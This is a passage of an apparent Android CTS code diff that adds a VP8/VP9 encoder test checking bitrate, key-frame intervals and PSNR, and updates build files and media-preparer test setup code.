+ * A raw yv12 stream is encoded at various settings and written to an IVF
+ * file. Encoded stream bitrate and key frame interval are checked against target values.
+ * The stream is later decoded by vp8/vp9 decoder to verify frames are decodable and to
+ * calculate PSNR values for various bitrates.
+ */
+public class VpxEncoderTest extends VpxCodecTestBase {
+
+    private static final String ENCODED_IVF_BASE = "football";
+    private static final String INPUT_YUV = null;
+    private static final String OUTPUT_YUV = SDCARD_DIR + File.separator +
+            ENCODED_IVF_BASE + "_out.yuv";
+
+    // YUV stream properties.
+    private static final int WIDTH = 320;
+    private static final int HEIGHT = 240;
+    private static final int FPS = 30;
+    // Default encoding bitrate.
+    private static final int BITRATE = 400000;
+    // Default encoding bitrate mode
+    private static final int BITRATE_MODE = VIDEO_ControlRateVariable;
+    // List of bitrates used in quality and basic bitrate tests.
+    private static final int[] TEST_BITRATES_SET = { 300000, 500000, 700000, 900000 };
+    // Maximum allowed bitrate variation from the target value.
+    private static final double MAX_BITRATE_VARIATION = 0.2;
+    // Average PSNR values for reference Google VPx codec for the above bitrates.
+    private static final double[] REFERENCE_AVERAGE_PSNR = { 33.1, 35.2, 36.6, 37.8 };
+    // Minimum PSNR values for reference Google VPx codec for the above bitrates.
+    private static final double[] REFERENCE_MINIMUM_PSNR = { 25.9, 27.5, 28.4, 30.3 };
+    // Maximum allowed average PSNR difference of encoder comparing to reference Google encoder.
+    private static final double MAX_AVERAGE_PSNR_DIFFERENCE = 2;
+    // Maximum allowed minimum PSNR difference of encoder comparing to reference Google encoder.
+    private static final double MAX_MINIMUM_PSNR_DIFFERENCE = 4;
+    // Maximum allowed average PSNR difference of the encoder running in a looper thread with 0 ms
+    // buffer dequeue timeout comparing to the encoder running in a callee's thread with 100 ms
+    // buffer dequeue timeout.
+    private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 0.5;
+    // Maximum allowed minimum PSNR difference of the encoder running in a looper thread
+    // comparing to the encoder running in a callee's thread.
+    private static final double MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE = 2;
+    // Maximum allowed average key frame interval variation from the target value.
+    private static final int MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION = 1;
+    // Maximum allowed key frame interval variation from the target value.
+    private static final int MAX_KEYFRAME_INTERVAL_VARIATION = 3;
+
+    /**
+     * A basic test for VPx encoder.
+     *
+     * Encodes 9 seconds of raw stream with default configuration options,
+     * and then decodes it to verify the bitstream.
+     * Also checks the average bitrate is within MAX_BITRATE_VARIATION of the target value.
+     */
+    private void internalTestBasic(String codecMimeType) throws Exception {
+        int encodeSeconds = 9;
+        boolean skipped = true;
+
+        for (int targetBitrate : TEST_BITRATES_SET) {
+            EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                    INPUT_YUV,
+                    ENCODED_IVF_BASE,
+                    codecMimeType,
+                    encodeSeconds,
+                    WIDTH,
+                    HEIGHT,
+                    FPS,
+                    BITRATE_MODE,
+                    targetBitrate,
+                    true);
+            ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
+            if (bufInfo == null) {
+                continue;
+            }
+            skipped = false;
+
+            VpxEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+
+            assertEquals("Stream bitrate " + statistics.mAverageBitrate +
+                    " is different from the target " + targetBitrate,
+                    targetBitrate, statistics.mAverageBitrate,
+                    MAX_BITRATE_VARIATION * targetBitrate);
+
+            decode(params.outputIvfFilename, null, codecMimeType, FPS, params.forceGoogleEncoder);
+        }
+
+        if (skipped) {
+            Log.i(TAG, "SKIPPING testBasic(): codec is not supported");
+        }
+    }
+
+    /**
+     * Asynchronous encoding test for VPx encoder.
+     *
+     * Encodes 9 seconds of raw stream using synchronous and asynchronous calls.
+     * Checks the PSNR difference between the encoded and decoded output and reference yuv input
+     * does not change much for two different ways of the encoder call.
+     */
+    private void internalTestAsyncEncoding(String codecMimeType) throws Exception {
+        int encodeSeconds = 9;
+
+        // First test the encoder running in a looper thread with buffer callbacks enabled.
+        boolean syncEncoding = false;
+        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                INPUT_YUV,
+                ENCODED_IVF_BASE,
+                codecMimeType,
+                encodeSeconds,
+                WIDTH,
+                HEIGHT,
+                FPS,
+                BITRATE_MODE,
+                BITRATE,
+                syncEncoding);
+        ArrayList<MediaCodec.BufferInfo> bufInfos = encodeAsync(params);
+        if (bufInfos == null) {
+            Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
+            return;
+        }
+        computeEncodingStatistics(bufInfos);
+        decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
+        VpxDecodingStatistics statisticsAsync = computeDecodingStatistics(
+                params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
+                params.frameWidth, params.frameHeight);
+
+
+        // Test the encoder running in a callee's thread.
+        syncEncoding = true;
+        params = getDefaultEncodingParameters(
+                INPUT_YUV,
+                ENCODED_IVF_BASE,
+                codecMimeType,
+                encodeSeconds,
+                WIDTH,
+                HEIGHT,
+                FPS,
+                BITRATE_MODE,
+                BITRATE,
+                syncEncoding);
+        bufInfos = encode(params);
+        if (bufInfos == null) {
+            Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
+            return;
+        }
+        computeEncodingStatistics(bufInfos);
+        decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
+        VpxDecodingStatistics statisticsSync = computeDecodingStatistics(
+                params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
+                params.frameWidth, params.frameHeight);
+
+        // Check PSNR difference.
+        Log.d(TAG, "PSNR Average: Async: " + statisticsAsync.mAveragePSNR +
+                ". Sync: " + statisticsSync.mAveragePSNR);
+        Log.d(TAG, "PSNR Minimum: Async: " + statisticsAsync.mMinimumPSNR +
+                ". Sync: " + statisticsSync.mMinimumPSNR);
+        if ((Math.abs(statisticsAsync.mAveragePSNR - statisticsSync.mAveragePSNR) >
+            MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE) ||
+            (Math.abs(statisticsAsync.mMinimumPSNR - statisticsSync.mMinimumPSNR) >
+            MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE)) {
+            throw new RuntimeException("Difference between PSNRs for async and sync encoders");
+        }
+    }
+
+    /**
+     * Check if MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME is honored.
+     *
+     * Encodes 9 seconds of raw stream and requests a sync frame every second (30 frames).
+     * The test does not verify the output stream.
+     */
+    private void internalTestSyncFrame(String codecMimeType, boolean useNdk) throws Exception {
+        int encodeSeconds = 9;
+
+        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                INPUT_YUV,
+                ENCODED_IVF_BASE,
+                codecMimeType,
+                encodeSeconds,
+                WIDTH,
+                HEIGHT,
+                FPS,
+                BITRATE_MODE,
+                BITRATE,
+                true);
+        params.syncFrameInterval = encodeSeconds * FPS;
+        params.syncForceFrameInterval = FPS;
+        params.useNdk = useNdk;
+        ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
+        if (bufInfo == null) {
+            Log.i(TAG, "SKIPPING testSyncFrame(): no suitable encoder found");
+            return;
+        }
+
+        VpxEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+
+        // First check if we got expected number of key frames.
+        int actualKeyFrames = statistics.mKeyFrames.size();
+        if (actualKeyFrames != encodeSeconds) {
+            throw new RuntimeException("Number of key frames " + actualKeyFrames +
+                    " is different from the expected " + encodeSeconds);
+        }
+
+        // Check key frame intervals:
+        // Average value should be within +/- 1 frame of the target value,
+        // maximum value should not be greater than target value + 3,
+        // and minimum value should not be less that target value - 3.
+        if (Math.abs(statistics.mAverageKeyFrameInterval - FPS) >
+            MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION ||
+            (statistics.mMaximumKeyFrameInterval - FPS > MAX_KEYFRAME_INTERVAL_VARIATION) ||
+            (FPS - statistics.mMinimumKeyFrameInterval > MAX_KEYFRAME_INTERVAL_VARIATION)) {
+            throw new RuntimeException(
+                    "Key frame intervals are different from the expected " + FPS);
+        }
+    }
+
+    /**
+     * Check if MediaCodec.PARAMETER_KEY_VIDEO_BITRATE is honored.
+     *
+     * Run the the encoder for 12 seconds. Request changes to the
+     * bitrate after 6 seconds and ensure the encoder responds.
+     */
+    private void internalTestDynamicBitrateChange(String codecMimeType, boolean useNdk) throws Exception {
+        int encodeSeconds = 12;    // Encoding sequence duration in seconds.
+        int[] bitrateTargetValues = { 400000, 800000 };  // List of bitrates to test.
+
+        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                INPUT_YUV,
+                ENCODED_IVF_BASE,
+                codecMimeType,
+                encodeSeconds,
+                WIDTH,
+                HEIGHT,
+                FPS,
+                BITRATE_MODE,
+                bitrateTargetValues[0],
+                true);
+
+        // Number of seconds for each bitrate
+        int stepSeconds = encodeSeconds / bitrateTargetValues.length;
+        // Fill the bitrates values.
+        params.bitrateSet = new int[encodeSeconds * FPS];
+        for (int i = 0; i < bitrateTargetValues.length ; i++) {
+            Arrays.fill(params.bitrateSet,
+                    i * encodeSeconds * FPS / bitrateTargetValues.length,
+                    (i + 1) * encodeSeconds * FPS / bitrateTargetValues.length,
+                    bitrateTargetValues[i]);
+        }
+
+        params.useNdk = useNdk;
+        ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
+        if (bufInfo == null) {
+            Log.i(TAG, "SKIPPING testDynamicBitrateChange(): no suitable encoder found");
+            return;
+        }
+
+        VpxEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+
+        // Calculate actual average bitrates  for every [stepSeconds] second.
+        int[] bitrateActualValues = new int[bitrateTargetValues.length];
+        for (int i = 0; i < bitrateTargetValues.length ; i++) {
+            bitrateActualValues[i] = 0;
+            for (int j = i * stepSeconds; j < (i + 1) * stepSeconds; j++) {
+                bitrateActualValues[i] += statistics.mBitrates.get(j);
+            }
+            bitrateActualValues[i] /= stepSeconds;
+            Log.d(TAG, "Actual bitrate for interval #" + i + " : " + bitrateActualValues[i] +
+                    ". Target: " + bitrateTargetValues[i]);
+
+            // Compare actual bitrate values to make sure at least same increasing/decreasing
+            // order as the target bitrate values.
+            for (int j = 0; j < i; j++) {
+                long differenceTarget = bitrateTargetValues[i] - bitrateTargetValues[j];
+                long differenceActual = bitrateActualValues[i] - bitrateActualValues[j];
+                if (differenceTarget * differenceActual < 0) {
+                    throw new RuntimeException("Target bitrates: " +
+                            bitrateTargetValues[j] + " , " + bitrateTargetValues[i] +
+                            ". Actual bitrates: "
+                            + bitrateActualValues[j] + " , " + bitrateActualValues[i]);
+                }
+            }
+        }
+    }
+
+     /**
+      * Check if encoder and decoder can run simultaneously on different threads.
+      *
+      * Encodes and decodes 9 seconds of raw stream sequentially in CBR mode,
+      * and then run parallel encoding and decoding of the same streams.
+      * Compares average bitrate and PSNR for sequential and parallel runs.
+      */
+     private void internalTestParallelEncodingAndDecoding(String codecMimeType) throws Exception {
+         // check for encoder up front, as by the time we detect lack of
+         // encoder support, we may have already started decoding.
+         MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+         MediaFormat format = MediaFormat.createVideoFormat(codecMimeType, WIDTH, HEIGHT);
+         if (mcl.findEncoderForFormat(format) == null) {
+             Log.i(TAG, "SKIPPING testParallelEncodingAndDecoding(): no suitable encoder found");
+             return;
+         }
+
+         int encodeSeconds = 9;
+         final int[] bitrate = new int[1];
+         final double[] psnr = new double[1];
+         final Exception[] exceptionEncoder = new Exception[1];
+         final Exception[] exceptionDecoder = new Exception[1];
+         final EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                 INPUT_YUV,
+                 ENCODED_IVF_BASE,
+                 codecMimeType,
+                 encodeSeconds,
+                 WIDTH,
+                 HEIGHT,
+                 FPS,
+                 VIDEO_ControlRateConstant,
+                 BITRATE,
+                 true);
+         final String inputIvfFilename = params.outputIvfFilename;
+
+         Runnable runEncoder = new Runnable() {
+             public void run() {
+                 try {
+                     ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
+                     VpxEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+                     bitrate[0] = statistics.mAverageBitrate;
+                 } catch (Exception e) {
+                     Log.e(TAG, "Encoder error: " + e.toString());
+                     exceptionEncoder[0] = e;
+                 }
+             }
+         };
+         Runnable runDecoder = new Runnable() {
+             public void run() {
+                 try {
+                     decode(inputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
+                     VpxDecodingStatistics statistics = computeDecodingStatistics(
+                            params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
+                            params.frameWidth, params.frameHeight);
+                     psnr[0] = statistics.mAveragePSNR;
+                 } catch (Exception e) {
+                     Log.e(TAG, "Decoder error: " + e.toString());
+                     exceptionDecoder[0] = e;
+                 }
+             }
+         };
+
+         // Sequential encoding and decoding.
+         runEncoder.run();
+         if (exceptionEncoder[0] != null) {
+             throw exceptionEncoder[0];
+         }
+         int referenceBitrate = bitrate[0];
+         runDecoder.run();
+         if (exceptionDecoder[0] != null) {
+             throw exceptionDecoder[0];
+         }
+         double referencePsnr = psnr[0];
+
+         // Parallel encoding and decoding.
+         params.outputIvfFilename = SDCARD_DIR + File.separator + ENCODED_IVF_BASE + "_copy.ivf";
+         Thread threadEncoder = new Thread(runEncoder);
+         Thread threadDecoder = new Thread(runDecoder);
+         threadEncoder.start();
+         threadDecoder.start();
+         threadEncoder.join();
+         threadDecoder.join();
+         if (exceptionEncoder[0] != null) {
+             throw exceptionEncoder[0];
+         }
+         if (exceptionDecoder[0] != null) {
+             throw exceptionDecoder[0];
+         }
+
+         // Compare bitrates and PSNRs for sequential and parallel cases.
+         Log.d(TAG, "Sequential bitrate: " + referenceBitrate + ". PSNR: " + referencePsnr);
+         Log.d(TAG, "Parallel bitrate: " + bitrate[0] + ". PSNR: " + psnr[0]);
+         assertEquals("Bitrate for sequenatial encoding" + referenceBitrate +
+                 " is different from parallel encoding " + bitrate[0],
+                 referenceBitrate, bitrate[0], MAX_BITRATE_VARIATION * referenceBitrate);
+         assertEquals("PSNR for sequenatial encoding" + referencePsnr +
+                 " is different from parallel encoding " + psnr[0],
+                 referencePsnr, psnr[0], MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE);
+     }
+
+
+    /**
+     * Check the encoder quality for various bitrates by calculating PSNR
+     *
+     * Run the the encoder for 9 seconds for each bitrate and calculate PSNR
+     * for each encoded stream.
+     * Video streams with higher bitrates should have higher PSNRs.
+     * Also compares average and minimum PSNR of codec with PSNR values of reference Google codec.
+     */
+    private void internalTestEncoderQuality(String codecMimeType) throws Exception {
+        int encodeSeconds = 9;      // Encoding sequence duration in seconds for each bitrate.
+        double[] psnrPlatformCodecAverage = new double[TEST_BITRATES_SET.length];
+        double[] psnrPlatformCodecMin = new double[TEST_BITRATES_SET.length];
+        boolean[] completed = new boolean[TEST_BITRATES_SET.length];
+        boolean skipped = true;
+
+        // Run platform specific encoder for different bitrates
+        // and compare PSNR of codec with PSNR of reference Google codec.
+        for (int i = 0; i < TEST_BITRATES_SET.length; i++) {
+            EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                    INPUT_YUV,
+                    ENCODED_IVF_BASE,
+                    codecMimeType,
+                    encodeSeconds,
+                    WIDTH,
+                    HEIGHT,
+                    FPS,
+                    BITRATE_MODE,
+                    TEST_BITRATES_SET[i],
+                    true);
+            if (encode(params) == null) {
+                // parameters not supported, try other bitrates
+                completed[i] = false;
+                continue;
+            }
+            completed[i] = true;
+            skipped = false;
+
+            decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
+            VpxDecodingStatistics statistics = computeDecodingStatistics(
+                    params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
+                    params.frameWidth, params.frameHeight);
+            psnrPlatformCodecAverage[i] = statistics.mAveragePSNR;
+            psnrPlatformCodecMin[i] = statistics.mMinimumPSNR;
+        }
+
+        if (skipped) {
+            Log.i(TAG, "SKIPPING testEncoderQuality(): no bitrates supported");
+            return;
+        }
+
+        // First do a sanity check - higher bitrates should results in higher PSNR.
+        for (int i = 1; i < TEST_BITRATES_SET.length ; i++) {
+            if (!completed[i]) {
+                continue;
+            }
+            for (int j = 0; j < i; j++) {
+                if (!completed[j]) {
+                    continue;
+                }
+                double differenceBitrate = TEST_BITRATES_SET[i] - TEST_BITRATES_SET[j];
+                double differencePSNR = psnrPlatformCodecAverage[i] - psnrPlatformCodecAverage[j];
+                if (differenceBitrate * differencePSNR < 0) {
+                    throw new RuntimeException("Target bitrates: " +
+                            TEST_BITRATES_SET[j] + ", " + TEST_BITRATES_SET[i] +
+                            ". Actual PSNRs: "
+                            + psnrPlatformCodecAverage[j] + ", " + psnrPlatformCodecAverage[i]);
+                }
+            }
+        }
+
+        // Then compare average and minimum PSNR of platform codec with reference Google codec -
+        // average PSNR for platform codec should be no more than 2 dB less than reference PSNR
+        // and minumum PSNR - no more than 4 dB less than reference minimum PSNR.
+        // These PSNR difference numbers are arbitrary for now, will need further estimation
+        // when more devices with HW VP8 codec will appear.
+        for (int i = 0; i < TEST_BITRATES_SET.length ; i++) {
+            if (!completed[i]) {
+                continue;
+            }
+
+            Log.d(TAG, "Bitrate " + TEST_BITRATES_SET[i]);
+            Log.d(TAG, "Reference: Average: " + REFERENCE_AVERAGE_PSNR[i] + ". Minimum: " +
+                    REFERENCE_MINIMUM_PSNR[i]);
+            Log.d(TAG, "Platform:  Average: " + psnrPlatformCodecAverage[i] + ". Minimum: " +
+                    psnrPlatformCodecMin[i]);
+            if (psnrPlatformCodecAverage[i] < REFERENCE_AVERAGE_PSNR[i] -
+                    MAX_AVERAGE_PSNR_DIFFERENCE) {
+                throw new RuntimeException("Low average PSNR " + psnrPlatformCodecAverage[i] +
+                        " comparing to reference PSNR " + REFERENCE_AVERAGE_PSNR[i] +
+                        " for bitrate " + TEST_BITRATES_SET[i]);
+            }
+            if (psnrPlatformCodecMin[i] < REFERENCE_MINIMUM_PSNR[i] -
+                    MAX_MINIMUM_PSNR_DIFFERENCE) {
+                throw new RuntimeException("Low minimum PSNR " + psnrPlatformCodecMin[i] +
+                        " comparing to reference PSNR " + REFERENCE_MINIMUM_PSNR[i] +
+                        " for bitrate " + TEST_BITRATES_SET[i]);
+            }
+        }
+    }
+
+    public void testBasicVP8() throws Exception { internalTestBasic(VP8_MIME); }
+    public void testBasicVP9() throws Exception { internalTestBasic(VP9_MIME); }
+
+    public void testAsyncEncodingVP8() throws Exception { internalTestAsyncEncoding(VP8_MIME); }
+    public void testAsyncEncodingVP9() throws Exception { internalTestAsyncEncoding(VP9_MIME); }
+
+    public void testSyncFrameVP8() throws Exception { internalTestSyncFrame(VP8_MIME, false); }
+    public void testSyncFrameVP8Ndk() throws Exception { internalTestSyncFrame(VP8_MIME, true); }
+    public void testSyncFrameVP9() throws Exception { internalTestSyncFrame(VP9_MIME, false); }
+    public void testSyncFrameVP9Ndk() throws Exception { internalTestSyncFrame(VP9_MIME, true); }
+
+    public void testDynamicBitrateChangeVP8() throws Exception {
+        internalTestDynamicBitrateChange(VP8_MIME, false);
+    }
+    public void testDynamicBitrateChangeVP8Ndk() throws Exception {
+        internalTestDynamicBitrateChange(VP8_MIME, true);
+    }
+    public void testDynamicBitrateChangeVP9() throws Exception {
+        internalTestDynamicBitrateChange(VP9_MIME, false);
+    }
+    public void testDynamicBitrateChangeVP9Ndk() throws Exception {
+        internalTestDynamicBitrateChange(VP9_MIME, true);
+    }
+
+    public void testParallelEncodingAndDecodingVP8() throws Exception {
+        internalTestParallelEncodingAndDecoding(VP8_MIME);
+    }
+    public void testParallelEncodingAndDecodingVP9() throws Exception {
+        internalTestParallelEncodingAndDecoding(VP9_MIME);
+    }
+
+    public void testEncoderQualityVP8() throws Exception { internalTestEncoderQuality(VP8_MIME); }
+    public void testEncoderQualityVP9() throws Exception { internalTestEncoderQuality(VP9_MIME); }
+
+}
+
diff --git a/tests/tests/mediastress/Android.mk b/tests/tests/mediastress/Android.mk
index 4cbc4cc..34bc778 100644
--- a/tests/tests/mediastress/Android.mk
+++ b/tests/tests/mediastress/Android.mk
@@ -26,7 +26,7 @@
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctsdeviceutil compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
 
 LOCAL_HOST_SHARED_LIBRARIES := compatibility-device-media-preconditions
 
diff --git a/tests/tests/mediastress/AndroidTest.xml b/tests/tests/mediastress/AndroidTest.xml
index a0cc68a..bc39044 100644
--- a/tests/tests/mediastress/AndroidTest.xml
+++ b/tests/tests/mediastress/AndroidTest.xml
@@ -14,8 +14,9 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Media Stress test cases">
+    <option name="config-descriptor:metadata" key="component" value="media" />
     <target_preparer class="android.mediastress.cts.preconditions.MediaPreparer" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaStressTestCases.apk" />
     </target_preparer>
@@ -27,6 +28,6 @@
         <option name="package" value="android.mediastress.cts" />
         <!-- test-timeout unit is ms, value = 30 min -->
         <option name="test-timeout" value="1800000" />
-        <option name="runtime-hint" value="2h50m" />
+        <option name="runtime-hint" value="3h" />
     </test>
 </configuration>
diff --git a/tests/tests/mediastress/preconditions/Android.mk b/tests/tests/mediastress/preconditions/Android.mk
index 139bf23..573f083 100644
--- a/tests/tests/mediastress/preconditions/Android.mk
+++ b/tests/tests/mediastress/preconditions/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := compatibility-host-util cts-tradefed tradefed-prebuilt
+LOCAL_JAVA_LIBRARIES := compatibility-host-util cts-tradefed tradefed
 
 LOCAL_MODULE_TAGS := optional
 
diff --git a/tests/tests/mediastress/preconditions/app/Android.mk b/tests/tests/mediastress/preconditions/app/Android.mk
index b8aa32a..0ef2de4 100644
--- a/tests/tests/mediastress/preconditions/app/Android.mk
+++ b/tests/tests/mediastress/preconditions/app/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/tests/tests/mediastress/preconditions/app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java b/tests/tests/mediastress/preconditions/app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
index 9830cff..1b55196 100644
--- a/tests/tests/mediastress/preconditions/app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
+++ b/tests/tests/mediastress/preconditions/app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
@@ -16,9 +16,9 @@
 package android.mediastress.cts.preconditions.app;
 
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaUtils;
 
 import android.app.Instrumentation;
-import android.cts.util.MediaUtils;
 import android.media.MediaFormat;
 import android.os.Bundle;
 import android.support.test.InstrumentationRegistry;
diff --git a/tests/tests/mediastress/preconditions/src/android/mediastress/cts/preconditions/MediaPreparer.java b/tests/tests/mediastress/preconditions/src/android/mediastress/cts/preconditions/MediaPreparer.java
index 13ff24b..049eeab 100644
--- a/tests/tests/mediastress/preconditions/src/android/mediastress/cts/preconditions/MediaPreparer.java
+++ b/tests/tests/mediastress/preconditions/src/android/mediastress/cts/preconditions/MediaPreparer.java
@@ -26,17 +26,18 @@
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.result.StubTestInvocationListener;
 import com.android.tradefed.targetprep.BuildError;
 import com.android.tradefed.targetprep.TargetSetupError;
 import com.android.tradefed.testtype.AndroidJUnitTest;
 import com.android.tradefed.util.FileUtil;
 import com.android.tradefed.util.ZipUtil;
 
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.File;
 import java.io.FileNotFoundException;
-import java.io.InputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.net.URL;
 import java.net.URLConnection;
 import java.util.Map;
@@ -44,8 +45,6 @@
 import java.util.regex.Pattern;
 import java.util.zip.ZipFile;
 
-import org.xmlpull.v1.XmlPullParserException;
-
 /**
  * Ensures that the appropriate media files exist on the device
  */
@@ -178,11 +177,13 @@
      * TargetSetupError is thrown. Otherwise, the mLocalMediaPath variable is set to the path of
      * this subdirectory.
      */
-    private void updateLocalMediaPath(File mediaFolder) throws TargetSetupError {
+    private void updateLocalMediaPath(ITestDevice device, File mediaFolder)
+            throws TargetSetupError {
         String[] subDirs = mediaFolder.list();
         if (subDirs.length != 1) {
             throw new TargetSetupError(String.format(
-                    "Unexpected contents in directory %s", mediaFolder.getAbsolutePath()));
+                    "Unexpected contents in directory %s", mediaFolder.getAbsolutePath()),
+                    device.getDeviceDescriptor());
         }
         mLocalMediaPath = new File(mediaFolder, subDirs[0]).getAbsolutePath();
     }
@@ -192,16 +193,19 @@
      * Updates mLocalMediaPath to be the pathname of the directory containing bbb_short and
      * bbb_full media directories.
      */
-    private void downloadMediaToHost(File mediaFolder) throws TargetSetupError {
+    private void downloadMediaToHost(ITestDevice device, IBuildInfo buildInfo, File mediaFolder)
+            throws TargetSetupError {
         URL url;
         try {
             // Get download URL from dynamic configuration service
-            DynamicConfigHostSide config = new DynamicConfigHostSide(DYNAMIC_CONFIG_MODULE);
-            String mediaUrlString = config.getValue(MEDIA_FILES_URL_KEY);
+            File config =
+                    DynamicConfigHostSide.getDynamicConfigFile(buildInfo, DYNAMIC_CONFIG_MODULE);
+            String mediaUrlString =
+                    DynamicConfigHostSide.getValueFromConfig(config, MEDIA_FILES_URL_KEY);
             url = new URL(mediaUrlString);
         } catch (IOException | XmlPullParserException e) {
             throw new TargetSetupError("Trouble finding media file download location with " +
-                    "dynamic configuration", e);
+                    "dynamic configuration", e, device.getDeviceDescriptor());
         }
         File mediaFolderZip = new File(mediaFolder.getAbsolutePath() + ".zip");
         try {
@@ -215,7 +219,8 @@
         } catch (IOException e) {
             FileUtil.recursiveDelete(mediaFolder);
             throw new TargetSetupError("Failed to download and open media files on host, the"
-                    + " device requires these media files for CTS media tests", e);
+                    + " device requires these media files for CTS media tests", e,
+                    device.getDeviceDescriptor());
         } finally {
             FileUtil.deleteFile(mediaFolderZip);
         }
@@ -288,10 +293,10 @@
                 // runs of MediaPreparer. Assume media files exist inside.
                 // Else, create directory if needed and download/extract media files inside.
                 mediaFolder.mkdirs();
-                downloadMediaToHost(mediaFolder);
+                downloadMediaToHost(device, buildInfo, mediaFolder);
             }
             // set mLocalMediaPath to where the CTS media files have been extracted
-            updateLocalMediaPath(mediaFolder);
+            updateLocalMediaPath(device, mediaFolder);
         }
         logInfo("Media files located on host at: %s", mLocalMediaPath);
         copyMediaFiles(device);
@@ -336,7 +341,7 @@
     }
 
     /* Special listener for setting MediaPreparer instance variable values */
-    private class MediaPreparerListener extends StubTestInvocationListener {
+    private class MediaPreparerListener implements ITestInvocationListener {
 
         @Override
         public void testEnded(TestIdentifier test, Map<String, String> metrics) {
diff --git a/tests/tests/mediastress/preconditions/tests/Android.mk b/tests/tests/mediastress/preconditions/tests/Android.mk
index 28549f5..e2dae48 100644
--- a/tests/tests/mediastress/preconditions/tests/Android.mk
+++ b/tests/tests/mediastress/preconditions/tests/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := easymock
 
-LOCAL_JAVA_LIBRARIES := compatibility-host-util cts-tradefed tradefed-prebuilt compatibility-host-media-preconditions
+LOCAL_JAVA_LIBRARIES := compatibility-host-util cts-tradefed tradefed compatibility-host-media-preconditions
 
 LOCAL_MODULE_TAGS := optional
 
diff --git a/tests/tests/mediastress/preconditions/tests/src/android/mediastress/cts/preconditions/MediaPreparerTest.java b/tests/tests/mediastress/preconditions/tests/src/android/mediastress/cts/preconditions/MediaPreparerTest.java
index 04c3900..a175112 100644
--- a/tests/tests/mediastress/preconditions/tests/src/android/mediastress/cts/preconditions/MediaPreparerTest.java
+++ b/tests/tests/mediastress/preconditions/tests/src/android/mediastress/cts/preconditions/MediaPreparerTest.java
@@ -21,7 +21,6 @@
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.OptionSetter;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.targetprep.TargetSetupError;
 
 import junit.framework.TestCase;
 
@@ -39,7 +38,7 @@
         super.setUp();
         mMediaPreparer = new MediaPreparer();
         mMockDevice = EasyMock.createMock(ITestDevice.class);
-        mMockBuildInfo = new BuildInfo("0", "", "");
+        mMockBuildInfo = new BuildInfo("0", "");
         mOptionSetter = new OptionSetter(mMediaPreparer);
     }
 
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java b/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java
index 400aedf..d5d01c8 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java
@@ -17,11 +17,11 @@
 package android.mediastress.cts;
 
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaUtils;
 
